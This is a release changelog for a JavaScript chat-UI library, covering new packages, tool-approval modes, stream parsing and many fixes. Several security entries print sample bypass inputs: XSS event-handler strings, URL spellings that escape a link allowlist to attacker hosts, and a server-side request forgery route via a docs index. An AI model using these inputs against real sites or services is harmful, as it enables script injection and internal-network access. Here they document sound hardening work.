    Under breakpoint (48rem by default, none to never stack) it shows one pane and writes data-stacked; any [data-aparte-split-pane="start|end"] on the page switches it with no script, the way [data-aparte-sidebar-toggle] drives the sidebar. The value picks the split first and the pane second: start or end reaches the split the control sits inside — or the first one on the page — and any other value names a split’s id and toggles that one, so a control aimed at a particular pane goes inside its split. If you own your own breakpoints, set breakpoint="none" and put .aparte-split--only-start / --only-end on the element yourself: it reads those classes exactly as it reads data-stacked. orientation="vertical" stacks the panes and moves the seam to the block axis; primary="end" sizes the last pane instead of the first.

    The recipe works without the element: .aparte-split is a grid you can set a position on from your own media query, .aparte-split--vertical / --primary-end / --only-start / --only-end are the class form of the four states, and .aparte-split__pane is the scrolling wrapper for the pane that is not a chat. A pane CONTAINS a chat; a chat never contains a split.

    New locale key splitHandleLabel (“Resize the panes”, “Redimensionner les panneaux”) names the seam. @aparte/core, @aparte/locale-fr

  • 0e20e36: registerStreamBlock({ tag, toSegment }) teaches the stream parser a tagged block: <tag attr="…">…</tag> in the model’s prose becomes the segment you build, streamed delta by delta. AparteStreamParserOptions.blocks takes the same grammars when you drive the parser yourself.

    Models write conventions into their prose — <think> for reasoning, <artifact> for a document, <file path> for a patch, <cite> for a source — and until now each one was a branch hard-wired into the parser, which is how the artifact ended up in core while being an app convention. The parser now does the streaming work once for every grammar: the earliest opening tag wins against a code fence and a reasoning delimiter, a tag cut at a chunk boundary is held back, attributes are parsed quoted or bare, a closing tag split across two chunks never leaks as content, a self-closing tag is a block with no body, and a block still open at the end of the stream is closed with what arrived. toSegment runs once, at the opening tag; the segment it returns carries a content string the parser fills. The blocks are read by the stream adapter when a turn starts. AparteStreamBlock and AparteStreamBlockMatch are exported; unregisterStreamBlock(tag) and getStreamBlocks() complete the set, and reset() clears it. @aparte/core

  • 99f7e4a: The user bubble’s tint, --aparte-surface-3 and --aparte-text-inverse derive from the masters; an eight-line rebrand now moves them, and the default user bubble is a wash of the accent rather than a fixed plum.

    --aparte-message-content-bg-user was a literal in both palettes (#efe7f6 / #2f2740), the one colour the theming guide’s eight-line rebrand could not reach — a chat moved to a blue brand kept a plum bubble. It is now color-mix(in srgb, var(--aparte-primary) 12%, var(--aparte-surface-1)), declared in the anchored layer so a per-instance --aparte-primary re-tints it. --aparte-surface-3 is the second surface pulled 6 % toward the text (the same figure both literal pairs encoded), and --aparte-text-inverse reads --aparte-surface-1. The three names still exist and still win when you declare them — only their defaults moved. The theming guide lists what stays literal after this: the status colours and --aparte-secondary / --aparte-neutral. @aparte/core

  • 259e785: A tool renderer registered with registerToolRenderer can declare update(element, segment) and relabel(element, segment); with update, a change of the call (its result landing, a decision, a failure) is patched into your element instead of rebuilding it from render().

    Without update core rebuilds — which it always did, and which is right for a receipt and wrong for anything with state: a mounted preview, an opened disclosure or a focused control was lost the moment the result landed. relabel is forwarded to your renderer on every config change (setLocale, setIconProvider, reset()) and core no longer applies its own pill selectors to markup it did not draw. Same two contracts as AparteSegmentRenderer, which is what makes a renderer that serves both a tool call and a segment a single implementation. @aparte/core

  • c2cab7f: StreamToolConfig.needsApproval accepts a predicate (call) => boolean | 'ask' | 'deny' beside the boolean, so the gate can be decided per call from the arguments — 'deny' reaches the resolver without announcing tool-awaiting-approval, since nobody is being asked; and an approval resolver may return reason, a refusal the loop hands the model verbatim instead of “The user rejected this tool call”.

    Both serve a policy that refuses on its own (a plan mode): without the predicate, every call would have to pause and be auto-approved, painting awaiting approval on rows nobody was asked about; without reason, the model would be told a person refused when a mode did. @aparte/engine

  • 45574cd: A tool handler may return structuredContent beside content; the loop forwards it on the tool-resolved event as structuredResult, so a renderer reads the value instead of re-parsing the sentence the model was given. @aparte/engine

  • b90c4c4: runStreamAgent always emits a terminal event: a Stop now ends the run with run-aborted wherever it lands, and a tool handler that throws emits a new tool-failed event ({ toolCallId, error }) before the run ends on that error. Widen an exhaustive switch over StreamRunEvent for the new type.

    Three of the six abort exits — a Stop during a tool call, during an approval wait, or with no resolver — emitted nothing at all, so a host never cleared its typing indicator or its streaming id. run-aborted is decided once now, at the loop’s exit, from the signal, and lands after text-flush. tool-failed replaces a row that used to say “Running” for the rest of the session.

    Per-tool maxTurns uses the same arithmetic as the global cap: maxTurns: 1 is one call, not none. It was >= against a >, so one number meant two things on the two knobs and maxTurns: 1 made a tool un-callable on the very first turn.

    The tool_call envelope declares a call only once it is committed to a tool_result. A call halted before that point — no handler, turn limit reached, an abort — no longer appears in the serialized history as a call that never gets a result. @aparte/engine

  • 1b1a715: The conversation module leaves the engine: estimateTokens, estimateTokensJson, computeHistoryBudget, splitHistoryBudget, DEFAULT_COMPACTION_CONFIG, CompactionConfig, BudgetBreakdown, BudgetResult, SplitBudget, createCompactionSelector, CompactionSelectorOptions, CompactableMessage, CompactionSelection and CompactionSelector are @aparte/plugin-compaction’s now, same names, same signatures — change the import. Gone with them, not moved: assembleCompacted, compactConversation, CompactionMessage, CompactionInput, CompactionResult, RetrievedTurn, the ragHist* / ragIntroLabel / summaryLabel fields of CompactionConfig and the ragHist slot of SplitBudget, and the triggerSummaryThresholdPct / summarizeEveryNTurns fields nothing read.

    The engine is the loop, and only the loop: runStreamAgent reports usage and lets the caller decide. Nothing in it ever read the budget — the one reader was AparteClient.compact(), which has moved to the same plugin — and a module with no in-package consumer is a contract maintained for nobody. @aparte/engine

  • 46dfbdb: The built-in create_artifact is gone from the loop, with the artifact-ready run event and deriveArtifactKind: a model calling create_artifact now reaches a registered tool of that name or gets “unknown tool” like any other call. Install @aparte/plugin-artifacts (setupArtifacts()) to register the tool, or register your own.

    The name was compared in the loop and dispatched before the tool path — no tool-start, no approval gate, no handler, a result of its own — the fast path that once orphaned the next tool’s result. A tool is a tool: it goes through the gate (a policy may class writing a document as a write), the handler and the envelope, and its result reaches the renderer as structuredResult. idGen keeps its one remaining use, the synthetic call of a forced toolChoice. @aparte/engine

  • 4123389: The node entry exports the AparteApprovalMode element type, so an SSR consumer on node16/nodenext can name it in a signature.

    export type is erased at compile time, so the entry stays DOM-free — scripts/check-node-import.mjs asserts it keeps importing without a document. The element itself is deliberately absent from that entry: it needs a document, and import '@aparte/plugin-approval' on a server registers the policy and nothing else. @aparte/plugin-approval

  • a91ac86: New package: @aparte/plugin-approval — approval modes for tool calls. setupApproval({ classify: { read, write, exec }, mode }) installs a per-call policy from a classification of your tool names; the modes are plan (read-only tools run, the rest is refused with a reason the model reads), ask (every write or execution asks at the composer), auto-edit (writes run, executions ask) and auto (never asks). <aparte-approval-mode> is the switch, for <aparte-composer-toolbar>; approval.setMode() / subscribe() are the same switch from code. It executes nothing and stores nothing.

    The names are yours because they are wire format: no library can know that run_command executes and search_docs reads. A tool in no list keeps its own needsApproval (and runs under auto). Built on core’s new setApprovalPolicy(). @aparte/plugin-approval

  • b6f4cc9: setupAskUser and setupApproval now take their options first and the config last, like every other setup*setupAskUser({ maxOptions: 6 }), setupApproval({ classify }), and setupAskUser({}, config) for a scoped chat. setupAskUser(config, options) and setupApproval(config, options) no longer compile.

    The plugins overview stated the rule (“every setup* takes the config instance as its last argument, defaulting to the global”) and these two broke it; the leading undefined the ask-user page had to write to reach the options was the symptom. Pre-1.0, a rename is a rename. @aparte/plugin-approval, @aparte/plugin-ask-user

  • 3c2e507: buildSafePreviewDocument, PREVIEW_CSP, ASK_USER_DECLINED and receiptRows now import on the server too — they used to throw a SyntaxError under Node.

    All four are pure: string work over escapeHtml/escapeAttr and over a tool call’s own input, with no DOM anywhere in their path. They were simply absent from the packages’ node barrels, and the consequence was not a missing feature but a hard SyntaxError: The requested module does not provide an export named … the moment an SSR build evaluated the import — the exact failure those barrels were written to end. buildReceipt stays browser-only: it returns an element. receiptRows is the data half, and it is the one a server rendering a transcript wants.

    ReceiptRow and ReceiptSource are exported as types on both entries. receiptRows returned an interface no consumer could name.

    ArtifactsSetupOptions is now declared once. Each barrel declared its own, and they were not the same shape: the node copy omitted the render half, so preview and onBinary were a type error against the SSR entry and valid against the browser one. One name meant two contracts depending on which condition resolved. The server still ignores those two fields — it registers no renderer — which is the point: the same options object can be written once and passed on both sides. @aparte/plugin-artifacts, @aparte/plugin-ask-user

  • 37f2450: New package: setupArtifacts() registers a real create_artifact tool the model calls, the Code/Preview card that renders its result, the <artifact …>…</artifact> grammar for a model that writes one in its prose, and the segment renderer for it — one implementation, four registrations.

    An artifact is a convention an app teaches its model, not something a model does by nature, so the convention lives in a plugin end to end. The card is the one core used to ship: it opens on Code, mounts the sandboxed preview only on a press (a previewable artifact is model-authored code), copies and downloads a text artifact, and for a binary one (pdf, xlsx, docx) asks the app’s onBinary(artifact) for the bytes once the source settles — no window-event protocol, no host handlers, no cache the app has to feed: a function that returns { buffer, mime, filename, previewHtml? } or throws, and the card shows the file or the failure. preview: false removes the tab; a function replaces the built-in document builder; tag renames or (false) disables the grammar; name and systemPrompt are the tool’s. deriveArtifactKind moves here and learns the standard names of the three binary kinds. The DOM-free node entry registers the tool and the grammar without a renderer. @aparte/plugin-artifacts

  • 45574cd: ask_user now returns its answer structured as well as in prose: structuredContent is { action: 'accept', answers: [{ question, value }] }value a string for a single choice, a string[] for a multiple one — or { action: 'decline' } (types AskUserStructuredResult, AskUserAnswer). The prose content the model reads is unchanged; ASK_USER_DECLINED stays what that prose says on a decline. The receipt in the transcript reads the structure when it is there and falls back to the prose for a result that came from elsewhere.

    MCP’s elicitation result is exactly this shape (an action beside the content), and a consumer had written a converter to get it back out of the sentence. @aparte/plugin-ask-user

  • 59016b1: New package: @aparte/plugin-compaction — conversation compaction. setupCompaction(options, config) answers the aparte-compact command (<aparte-context auto-compact> dispatches it on reaching 90 % of the window; a button of yours dispatches it the same way): it selects what to summarise — by default the budget-aware selector over the current model’s contextWindow, system prompt and tools, keeping the newest turns that still fit, or the last two exchanges when the model declares no window — summarises it through the config’s transport with its tool calls and errors, and replaces the transcript with the summary as a notice (compaction: true) followed by the kept turns verbatim. The controller it returns has compact(targetId?) (returns the outcome, never throws), abort(), running and dispose().

    Options: selector, keepWithoutWindow, prompt, keyResolver (the one you gave AparteClient), summarize (replace the model call — your endpoint, a cheaper model), resolveTarget (a transcript in a store), scopeToTargetId, listen. Exports besides: createCompactionSelector, computeHistoryBudget, splitHistoryBudget, estimateTokens, estimateTokensJson, DEFAULT_COMPACTION_CONFIG, transcriptForSummary, messageText, DEFAULT_COMPACTION_PROMPT — the budget and selector that used to be @aparte/engine’s, and the summariser that used to be AparteClient.compact().

    What is new against the client’s version: one compaction at a time (a second request is reported skipped, reason: 'running'); a transcript with a turn in flight is left alone (reason: 'streaming'); the summarisation has its own abort, reached by abort() and by an aparte-abort addressed to the chat, and an abort settles the compaction even when the transport ignores the signal; what arrived while the summary was being written is kept; every event names the chat. The placement follows the survey: no UI kit compacts, every agent SDK ships it as an opt-in module — the seams (the gauge, the notice, the preamble, the request flag) stay in core, the behaviour is one call away. @aparte/plugin-compaction

  • e4b1fbe: The conversation-manager helper of each wrapper (useConversationManager, createConversationManager, ConversationManagerService) exposes pin(id), unpin(id) and updateTitle(id, title), so the list’s new aparte-pin-conversation, aparte-unpin-conversation and aparte-rename-conversation events can be wired without reaching for the manager. Angular’s <aparte-conversation-list> directive gains the matching (pinConversation), (unpinConversation) and (renameConversation) outputs. @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 4e04443: The four wrappers render <aparte-elicitation> inside their host by default; pass elicitation={false} (:elicitation="false" in Vue, [elicitation]="false" in Angular) to opt out. If your app registers its own presenter with setElicitationPresenter(), you must pass it: the built-in presenter registers with the chat as its owner and wins the match for that chat’s requests, so without the opt-out your questions would open core’s panel instead of your presenter.

    Core’s <aparte-chat> has shipped the presenter in its default composition since the built-in approval gate started asking through it, and the wrappers had not followed: a requestUserInput() under <AparteChat> rejected with the “no presenter” warning, and that warning told you to add the element “inside your <aparte-chat>” — a tag the wrappers do not render. The first consumer to hit it appended the element to [data-aparte-chat] by hand. The warning now names the framework host too, and the composer’s docblock names the four lifecycle events that drive its streaming flag (aparte-message-start sets it; -done / -error / -aborted clear it) instead of “lifecycle events on window”. @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue

  • 4e04443: <AparteChat> accepts className and style (React) / class and style (Svelte), merged onto the root element ([data-aparte-chat]).

    A utility-first app sizes the chat column with classes (flex-1 min-h-0), and the library needs a constrained height chain down to that root; without a prop the only way was a descendant selector in a stylesheet. Vue already let class/style fall through to its single root, and Angular’s host element is the sized box — both are now stated in their framework pages. @aparte/react, @aparte/svelte

  • 7be58c9: elicitationNext (« Suivant ») is removed with the composer button’s “advance” meaning; elicitationRecommended (« Recommandé ») is added for the tag a recommended option now wears, and approvalModeLabel (« Mode d’approbation ») for the accessible name of @aparte/plugin-approval’s switch. @aparte/locale-fr

  • e4b1fbe: French strings for the conversation row’s menu and date groups: deleteConversation, archiveConversation, unarchiveConversation become the bare verbs (“Supprimer”, “Archiver”, “Désarchiver”), and the new keys are translated — conversationActions, renameConversation, conversationTitle, pinConversation, unpinConversation, deleteConversationConfirm, cancel, conversationGroupPinned/Today/Yesterday/Week/Month. @aparte/locale-fr

  • 3dbf25b: Every documentation page is fetched from your baseUrl / APARTE_DOCS_URL: only the path of a URL the index prints is used, so pointing the server at a local build reads the local build, and an index entry naming another host cannot redirect the fetch.

    llms.txt lists one URL per topic set, and those URLs are absolute and point at the production site — even in a docs build served on localhost, because that is what the generator writes. The server fetched them verbatim, so APARTE_DOCS_URL=http://localhost:4321 read the index locally and then read every page from production: an offline or staging setup silently served the live docs, and a change you were checking never appeared.

    The same verbatim fetch made the index a way to choose what the machine running the agent requests. An index entry naming another host — a cloud metadata address, an intranet name, a port on localhost — was fetched from there.

    A set URL now contributes its path (and query) only; the origin is always baseUrl / APARTE_DOCS_URL, and anything that does not resolve to http/https is refused with an error rather than fetched. DocsSet.url still carries the URL the index printed. @aparte/docs-mcp

  • 6015096: New package: @aparte/docs-mcp, the aparté documentation as an MCP server. npx @aparte/docs-mcp gives a coding agent four tools — list_sets, search_docs, get_page, get_set — over the text the docs site publishes for models (apartejs.dev/llms.txt and its per-topic files), so the answer is always the docs of the version that ships. createDocsMcpServer({ baseUrl }) embeds it; APARTE_DOCS_URL points the CLI at a local docs build.

    Two consumers’ assistants could not find what the docs already had — the approval elicitation, the UI kit of classes, systemPrompt: false — and one rebuilt a modal it already had. A model that reads a site cold misses; a model that can ask finds. @aparte/docs-mcp

Patch Changes

  • 22fe79e: Links written as //host, /\host, http:/host or with leading whitespace now open in a new tab like every other external link.

    The hardening tested the RAW attribute against ^https?://, while the check that ACCEPTED the URL normalised it first (isSafeUrl strips control and space characters, so " https://evil.example" is accepted and //attacker.example passes as a relative URL). Both are external once a browser resolves them, and both kept the default target — they navigated the frame the chat lives in, which is the one thing this rule exists to prevent, and the docs promised the opposite. The external test now reads the same normalised value the accept path did.

    Two more spellings resolve off-site and the allowlist accepts both: a backslash is a slash to a URL parser on a special scheme (/\evil.example is a relative URL), and a single slash after an explicit scheme enters authority state when that scheme differs from the page’s (http:/evil.example). Measured with Node’s WHATWG URL against base https://site.example/chat/, both land on evil.example. They are hardened too.

    It stays a string test rather than new URL(value, document.baseURI): this module has a documented DOM-free path, and resolving would quietly turn the rule into “cross-origin” instead of “external”. @aparte/core

  • 22fe79e: The DOM-free sanitizer (the node entry) now strips handlers written as <img src=x/onerror=…> and removes an unclosed <svg>/<math>/<form>.

    When there is no DOMParser — SSR, Node, a test runner — the built-in degrades to a regex net, and that whole branch was untested. It had two hand-written tag lists that disagreed: svg, math and form were only in the paired pass, so an unclosed one walked straight through, and button/select/title and the rest were in neither. Its handler stripper demanded whitespace before on…, while HTML also ends an attribute at / and at the closing quote of the previous value, so <img src=x/onerror=…> and <img src="x"onerror="…"> kept their handlers.

    The handler pass also ran once, and it consumes the separator in front of the handler it removes — so two written back to back (<img src=x onload="0"onerror="alert(1)">) lost the quote that separated the second one and it survived. It now runs to a fixed point; the replacement is a space, which restores the separator for the next round.

    Both tag passes now read DANGEROUS_TAGS, the same list the DOM path uses — the three document-structure tags (html, head, body) lose their tags but keep what they wrapped, matching what a real parser does with them. The net remains a safety net and not a security boundary: for untrusted HTML off the browser, register a real sanitizer (DOMPurify + jsdom) via setHtmlSanitizer. @aparte/core

  • 4123389: createAparteChatHandler answers a failed vendor fetch with 502 Vendor request failed. and an unknown providerId with 400 even when the name is an inherited key such as __proto__ — two status codes a caller may see change.

    The 502 body is now a fixed string. It used to be the exception’s own message, and that message can name the URL it tried: authQuery (Gemini’s ?key=) puts the API key in the URL, and a custom fetchImpl prints the URL in its error text (node-fetch: request to ${url} failed, reason: …). The vendor’s prose goes to the server’s log via console.error, never to the client — the same rule the non-ok branch already followed.

    The 400 is the providerId lookup. It read options.providers[providerId] on a client-supplied string, so on a plain object literal providers["__proto__"] and providers["constructor"] resolve to a truthy inherited value: the “Unknown providerId” 400 was skipped and the request fell through to a 500 further down. The lookup is Object.hasOwn now. @aparte/core

  • 5e0c4e7: A stream block whose attribute value contains > (title="v1 -> v2") now keeps its attributes instead of losing them all and leaking the raw tag into the body.

    The opening tag was cut at the first > in the buffer, wherever it fell. <note kind="a>b" title="t > u"> therefore ended after a, so no attribute parsed (kind fell back to the grammar’s default) and b" title="t > u"> was streamed into the segment’s content as literal markup. The tag now ends at the first > outside a quoted value; a quote only opens after an =, so a stray " written in prose or in an attribute-less tag cannot hold the buffer open, and an opening tag still incomplete at a chunk boundary is held for the next chunk exactly as before.

    One malformed shape reads differently: a quote the model opens and never closes. Its value now runs to the end of the line, so the tag is read at its first > once the line ends rather than as soon as that > arrives. If the reply never breaks a line after such a tag, the tag and everything after it arrive as one plain-text run when the reply ends, instead of opening a block with a truncated attribute. @aparte/core

  • 5e0c4e7: Reusing an AparteStreamParser after a reply that ended mid-fence or mid-block no longer swallows the next reply.

    finalize() flushed what was left but never spent the mode it was in. A reply cut off inside a ``` fence, a <think> block or a registered <tag> left the parser waiting for a closing delimiter that would never come, so the first characters of the NEXT reply were eaten by that wait — silently, with no segment to show for them. The built-in client builds a fresh parser for every turn, so this bites a consumer who drives AparteStreamParser themselves and keeps it across replies — the bring-your-own-loop path. finalize() now returns the parser to text with an empty buffer and no armed delimiter. @aparte/core

  • 3a0f593: <aparte-context auto-compact> asks for a compaction again after one was refused or failed; it used to ask once and never again.

    The request was spent only by a compaction that actually landed. A skip — nothing to drop yet, a stream in flight, another compaction running — returned before the flag was cleared, the level never left danger with the usage still climbing, and the gauge stayed silent for the life of the element. The request is now made per turn: one stays open until the plugin answers (done, skipped or failed), and the next turn still in danger asks again. Nothing changes for a compaction that succeeds. @aparte/core

  • 95613d0: aparte-sidebar-toggle announces a change, never the starting state: <aparte-sidebar collapsed> is silent at mount, and so is a sidebar that enters as a closed drawer on a narrow window. Read collapsed after connect for the state it started in.

    The element used to read its markup as a change. During an UPGRADE — the ordinary case for server-rendered markup, where the module loads after the HTML — attributeChangedCallback fires for every authored attribute while the element is already connected and before connectedCallback has run. collapsed was therefore announced as a toggle the host never asked for, carrying drawer: false because the media query had not run yet: a host persisting that detail wrote “the column is open” over a drawer that was closed.

    connectedCallback stamps what the markup asked for AFTER the breakpoint has been applied, and the attribute callback is gated on that, the way <aparte-split> already was. @aparte/core

  • 95613d0: Widening the window past the drawer breakpoint reopens the sidebar only when nothing had collapsed it as a column: <aparte-sidebar collapsed> in the markup, or a host collapse taken outside the drawer state, keeps it folded.

    _applyDrawer reopened on every exit from the drawer state, against its own docblock (“unless the host had collapsed it before” — nothing recorded that). So a host that folded the column, or markup that shipped <aparte-sidebar collapsed>, got it back the first time the window crossed 48rem.

    The element now records a collapse only when it is taken OUTSIDE the drawer state — dismissing an overlay says nothing about what a wide window should show — and its own breakpoint writes never count as the host’s intent.

    That intent is read from the markup once, on the first connect. A re-parent — a framework re-render, a tab swap, dragging the panel elsewhere — runs connectedCallback again, and by then collapsed can be the breakpoint’s own doing: reading it a second time recorded the element’s write as the host’s word and the column stopped reopening for good. @aparte/core

  • 4a508e4: reset() and a double-click on the seam return an <aparte-split> to the position its markup declared, and a split folded before a move reopens at the size it had — both survive a re-parent (a framework re-render, a tab switch, dragging the panel elsewhere).

    A re-parent — a framework re-render, a tab switch, dragging the panel elsewhere — runs connectedCallback again, and by then the position attribute holds the last commit rather than what the author wrote. The element captured it as the initial position, so reset() and a double-click on the seam went back to wherever the reader last dragged the seam.

    Worse when it was folded: a collapsed split reflects position="0", so the re-mount recorded 0 as the size to restore and expand() reopened onto nothing. The size it had before it folded is now kept across the move. @aparte/core

  • 9eccccc: The dialog recipe dismisses on a backdrop click only when both ends of the gesture landed on the backdrop: selecting text inside the box and releasing outside it leaves the dialog open, and a programmatic dialog.click() does not close it — call close().

    A click fires on the nearest common ancestor of where the press landed and where it was released, so a selection dragged a few pixels past the box targets the <dialog> itself — identical, from the click alone, to a deliberate press on the backdrop. Reproduced in all three engines, in both directions (press outside, release inside, same result).

    So the dismissal asks for the press as well: installDialogTriggersOnce() records where pointerdown landed and the click handler only dismisses when that was the backdrop too. The cost is the second half of the first line — a synthetic click has pressed nothing, so it is not a dismissal. @aparte/core

  • 3590e4a: The <aparte-split> resize seam draws a real focus outline when it takes keyboard focus: outline: var(--aparte-focus-outline-width) solid var(--aparte-border-focus), measured 3.54:1 against the page in the light palette and 7.36:1 in the dark one.

    .aparte-split__handle:focus-visible was outline: none plus the soft --aparte-focus-ring shadow and nothing else. Measured, that ring is 1.39:1 against the page in the light palette and 1.83:1 in the dark one, where WCAG asks 3:1 of a focus indicator — so the seam’s only keyboard affordance was, in practice, absent. It matters more here than almost anywhere else in the library: the seam is a 4px band with border: 0 whose entire story is arrowing it, so a keyboard user who cannot see the focus has no other way to find it.

    It now paints outline: var(--aparte-focus-outline-width) solid var(--aparte-border-focus) — 3.54:1 light, 7.36:1 dark — and keeps the shadow beside it as decoration, since a glow around the seam and an outline on it do not fight. The forced-colors entry in responsive.css is unchanged and now overrides an outline that exists rather than substituting for one that does not. @aparte/core

  • 3590e4a: The ✕ on a pending attachment now appears when it is focused and on touch devices — it was the only way to remove one.

    .aparte-thumb__remove sat at opacity: 0 with a single :hover rule to reveal it. A keyboard user tabbing onto it got a focus ring drawn around nothing; a touch user, who cannot hover at all, never saw it and could not drop a file attached by mistake. The sheet now pairs :focus-within with the hover rule — the same pair the message action bar and the conversation row already use, which is what makes this an omission rather than a design — and the coarse-pointer block shows it outright, beside the conversation row’s ⋯ that is there for the same reason.

    e2e/tests/attachments.spec.ts passed through all of it: Playwright’s visibility check ignores opacity. The new unit suite asserts the sheet and the control together, because the two halves hold each other up — :focus-within can only ever match if the ✕ is genuinely focusable. @aparte/core

  • 3c2e507: querySelector('aparte-context' | 'aparte-split' | 'aparte-suggestions') is now typed — the cast and the untyped e.detail are gone.

    Those three were the only elements missing from HTMLElementTagNameMap: 21 of 24 were mapped, and the three left out were the whole up-stack surface of this release, so the shell code most likely to be written this month was the code that needed a cast.

    The map’s docstring said pnpm check:element-map kept it honest. No such script has ever existed. It is pinned now by a type assertion against the generated AparteElementTagName — which comes from the custom-elements manifest and therefore carries every tag by construction — so a missing entry is a compile error naming the tag, in the editor and in nx typecheck, which is what the pre-commit hook runs. The other direction (a key no element backs) is a test, because HTMLElementTagNameMap is a global interface the plugins augment too.

    Two other claims in that docstring were wrong and are corrected: the file is imported by the SSR entry as well as the browser one, on purpose. @aparte/core

  • 3c2e507: registerAllComponents() now references every element class (24, not 4) and names the ones that are missing.

    It looked up four tags — chat, viewport, bubble, status — and on a miss logged “Some components may not be registered.” Both halves failed the reader the guide sends here. A bundler that dropped <aparte-split> or <aparte-composer-toolbar> produced a silent green, because those twenty were never checked; and anyone who did see the warning was told nothing about which module to import.

    The function now reads one [tag, class] array covering all 24, and the warning lists the missing tags by name. The registrations themselves are unaffected either way: the browser build is one module, dist/index.js, which sideEffects names, so all 24 customElements.define calls ship in it whether or not anything references the classes. @aparte/core

  • 3a0f593: <aparte-context> declares the aparte-compact event it dispatches, so it appears in the shipped custom-elements manifest, on the element’s docs page, and in the editor tooltip that manifest feeds.

    The gauge has dispatched it on window since auto-compact existed — that is the whole of what the attribute does — and it carried no @fires, so it was absent from the shipped custom-elements manifest, from the element’s generated page, and from the editor tooltip a consumer reads. It was typed in AparteEventMap and described in prose the entire time, which is what made it invisible: every list a reader consults said the element fires one event.

    The dispatch is typed with its detail (AparteCompactEventDetail) rather than an anonymous CustomEvent, and the event map’s comment is corrected — it said “Core never sends these” of a block of five, which was false of four of them, the gauge’s own included. @aparte/core

  • 4a508e4: <aparte-split pane="end"> keeps that pane when it loads stacked on a narrow screen, and every showPane() that changes the pane commits it and fires aparte-split-resize.

    Entering the stacked state showed the start pane unconditionally, deleting the choice the markup had already made. And because that write happens during the mount, where the attribute callback is suppressed, the element never recorded it: a later showPane('end') looked like no change and committed nothing, so the host heard no aparte-split-resize and its two-button toggle went dead once.

    The stacked check also read the stacked getter, which counts the CSS route (.aparte-split--only-start / --only-end) as well as the element’s own data-stacked. A breakpoint="none" split wearing one of those classes therefore looked, at mount, like a split leaving a state it had never entered — and had its authored pane removed on the way in. @aparte/core

  • 5e0c4e7: A registerStreamBlock grammar’s toSegment runs exactly once per tag, with prose before the tag or without — safe to count, allocate or register in.

    a <note kind="k"/> emitted the right segments, but built them twice: the text run went out first and the tag was left in the buffer to be re-read on the next step, so a grammar that counts, allocates or registers something in toSegment did it a second time and threw the first result away. The tag is now consumed once and the block it built waits its turn. What comes out, and in which order, is unchanged. @aparte/core

  • 3a0f593: <aparte-context> now formats its numbers with locale.tag instead of the browser’s.

    Both Intl.NumberFormat calls in the gauge passed undefined — “follow the BROWSER” — which is exactly the bug AparteLocale.tag was added to close, and which <aparte-conversation-list> and the bubble’s clock already read it for. So an app that called setLocale(fr) moved fifty strings and left the gauge counting in en-US: 14% where French writes 14 %, and 128K where ja-JP writes 12.8万.

    Both the bar’s reading and the ring’s percentage follow the tag now, including the meter’s aria-label. A locale with no tag still follows the browser, which is the documented English default. @aparte/core

  • 33c62b5: Two sends fired back to back keep their order, and an attachment named A & B.png reads as itself in the tooltip and the alt text.

    A second send arriving while the first is still creating the conversation waits for it, so the two messages land in the order they were typed and the auto-title comes from the first. The attachment name was escaped twice on its way into the thumbnail’s title and alt — escaped once as text, then handed to escapeAttr — so A & B.png was displayed as A &amp; B.png.

    The rest, none of which changes a call you make. modelSelectorPlaceholder and approvalModeLabel are declared fields of AparteLocale (no value or behaviour changes — they were already read, just undeclared). cssEscape also escapes a newline. updateMessage({ segments }) on a bubble copies the array in, as setSegments does, so a caller that mutates its own array afterwards does not reach into the bubble. The headers JSDoc says the session cookie only rides a same-origin endpoint; setBubbleActions’s example no longer claims { copy: false } hides everything; AparteClient loses an abort-controller set nothing ever added to. @aparte/core

  • ecd50e2: The scroll-to-bottom button leaves the tab order while it is hidden.

    Hidden meant opacity 0 and no pointer events, which the keyboard cannot see: the button stayed a tab stop while invisible, so Tab landed on nothing between the transcript and the composer. With the transcript now a stop of its own, that phantom stop pushed the composer past the eighth Tab on the vanilla example — the e2e that says a keyboard user must not hunt for the editor caught it on all three engines. A hidden button carries tabindex="-1" and aria-hidden="true"; both go the moment it shows. @aparte/core

  • bc75c30: The copy buttons now work on plain http:// — a code block, the artifact card and the bubble’s action bar fall back to document.execCommand('copy') where navigator.clipboard does not exist. copyText(text) is exported so your own copy button can take the same path.

    navigator.clipboard is secure-context only. On http://192.168.1.x — the LAN box running a local model, this library’s own archetypal deployment — the property is undefined, so each of the three buttons threw a TypeError in its click handler before the .catch() it carried for a rejected write, and did nothing, silently. Same wall as crypto.randomUUID and uuid(); pnpm check:secure-context now confines both APIs to their one fallback. @aparte/core

  • fb14521: A field group’s prefix and suffix (.aparte-field-group__prefix / __suffix) sit on their own ground — --aparte-surface-2 with a rule against the field — instead of the field’s. Muted text on the same ground, “https://” read as the start of what the user had typed. The group clips to its corners for it (overflow: hidden); the focus ring is a shadow on the group, outside that box, and is not clipped. @aparte/core

  • 4b8bd15: The sidebar’s collapse and the drawer’s slide are animated: --aparte-duration-slow for the 260px fold, --aparte-duration-slower for the drawer, and both are stopped under prefers-reduced-motion.

    Both transitions named --aparte-duration-normal, a token theme.css has never declared — and a var() that resolves to nothing invalidates the whole transition shorthand at computed-value time, so neither property transitioned at all. They read --aparte-duration-slow (the 260px fold) and --aparte-duration-slower (the drawer, which travels the whole column plus its shadow). Nothing else changed, so a reader who learned the snap will read the slide as new behaviour: it is the behaviour the sheet always described.

    The sheet’s own @media (prefers-reduced-motion: reduce) block goes with the fix. responsive.css already re-declares every duration token to 0.01ms under that query, at the source — a second, hand-written patch for two selectors was the drift that hid the missing token in the first place. @aparte/core

  • 2f8fa7c: The switch’s thumb is centred in its track, and the track is 40×22 with a 2px inset. The thumb’s size is now derived from the track (--aparte-switch-thumb-size = height − 2 × border − 2 × inset) instead of being a fourth number set by hand, so the three cannot drift apart again; a theme that changes the height gets a thumb that still fits. --aparte-switch-width, --aparte-switch-height and --aparte-switch-thumb-inset are the knobs.

    It had been off by a pixel on one axis and the four values had been tuned separately — a defect you saw the moment the density preset made the control larger. @aparte/core

  • ebe003e: The transcript reserves its scrollbar gutter on both edges (scrollbar-gutter: stable both-edges), so the centred column no longer shifts by half a scrollbar the moment the first reply overflows. Applies to the vanilla scroll container and to the framework-managed viewport alike; a host that wants the old behaviour sets scrollbar-gutter: auto on .aparte-viewport-container. @aparte/core

  • 1a9da39: The viewport keeps confirming its scroll position while a rebuilt transcript’s height is still settling, instead of giving up at the first frame the gap looks closed.

